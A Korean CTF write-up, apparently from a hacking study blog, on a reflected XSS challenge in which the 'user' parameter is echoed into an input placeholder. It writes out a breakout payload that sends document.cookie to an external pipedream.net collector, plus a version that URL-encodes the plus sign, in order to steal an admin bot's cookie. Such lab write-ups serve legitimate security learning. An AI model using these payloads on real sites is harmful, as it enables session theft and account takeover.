[모의해킹 스터디] CTF - XSS 3

바울·2025년 1월 6일
0

모의해킹 스터디

목록 보기
29/40

문제


풀이

로그인 후 마이페이지를 접속해 보면 개인 정보에 있는 bawool 부분이랑 쿼리 파라미터 user에 값이랑 같은 걸 확인할 수 있다. 이 부분을 바꿔보면

user에 값에 따라 화면에 출력되는 값이 바뀌는 걸 볼 수 있다. 스크립트를 삽입할 수 있는지 확인해 보자.

<script>alert(1)</script>

해당 스크립트를 삽입 후 response 보면 입력한 정보가 placeholder로 화면에 출력 되는 걸 볼 수 있다. 코드를 수정해서 placeholder와 따로 script를 실행해 볼 수 있을 것 같다.

"/> <script>alert(1)</script>

"/> 해당 코드를 추가해 input 태그를 끝낸 후 script를 사용해 원하는 스크립트를 사용할 수 있게 되었다. 쿠키를 탈취하는 스크립트를 삽입해 관리자 봇에 쿠키를 탈취해 보자.

공격 코드

"/> <script>new Image().src = "https://eo6wq28znszxjxz.m.pipedream.net?cookieData=" + document.cookie</script>
"/> <script>new Image().src = "https://eo6wq28znszxjxz.m.pipedream.net?cookieData=" %2B document.cookie</script>

첫 번째 공격 코드를 사용했지만 아무 반응도 일어나질 않길래 패킷을 살펴보았는데 + 기호가 없어진 걸 볼 수 있다. 확인해 보니 URL 인코딩 과정에서 공백으로 처리된 거 같다.

두 번째 코드를 사용해 + 부분을 직접 인코딩 해준 후에 스크립트를 삽입해 보면 +가 공백 처리되지 않는 걸 확인할 수 있다.

해당 URL에 관리자 접속을 유도하면 flag를 획득할 수 있다!

0개의 댓글